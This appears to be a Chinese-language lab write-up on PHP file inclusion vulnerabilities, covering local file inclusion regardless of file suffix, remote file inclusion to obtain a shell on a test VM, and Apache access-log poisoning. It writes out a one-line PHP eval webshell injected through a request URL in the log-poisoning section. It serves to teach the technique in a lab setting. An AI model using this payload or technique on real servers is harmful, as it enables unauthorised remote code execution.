1.1实验目标
(1)通过本实验,通过远程文件包含漏洞包含远程 Webshell,从而Getshell
1.2实验原理
(1).文件包含函数加载的参数没有经过过滤或者严格定义,可以被用户控制,包含了其他恶意文件;
导致执行了非预期的代码。分类:本地文件包含和远程文件包含。
(2).可利用途径:读取敏感信息、远程包含shell、本地包含配合文件上传;
(3).php伪协议
实验
1.本地文件包含(无视后缀);
原理
(1) include等函数通过动态执行变量的方式引入需要包含的文件
(2)用户能控制该动态变量
array.php
phpinfo.php
输出
(无视后缀)
例:无视 .txt
555.php
666.php
使用文件包含访问
把555.php改为555.txt
无视 .gpj
把555.php改为555.jpg
由上述实验可知,本地文件包含,不管文件是什么后缀,只要是以php格式编写,就可以被解析
2.远程文件包含getshell
开启一台虚拟机,需要有php环境,apache,这里用的是Windows10
远程文件包含需要在配置文件php_ini中修改值,把框内的值改为On,保存并退出
在网站根路径下创建一个php文件
在物理机上进行访问
在虚拟机网站根目录下创建一个一句话木马,并在物理机上进行访问
3.apache日志文件包含getshell
首先修改配置文件httpd.conf,把框内的#号去掉
打开burpsuite,准备进行抓包
在浏览器内输入127.0.0.1/include.php/<?php @eval($_POST['cmd']);
回车就抓到包了
ctrl+r 发送到repater进行修改,运行结果显示200 ok
在日志文件中显示一句话木马,即为成功
进行文件包含
浏览器进行访问
尝试通过一句话木马控制,可以发现一句话木马上传成功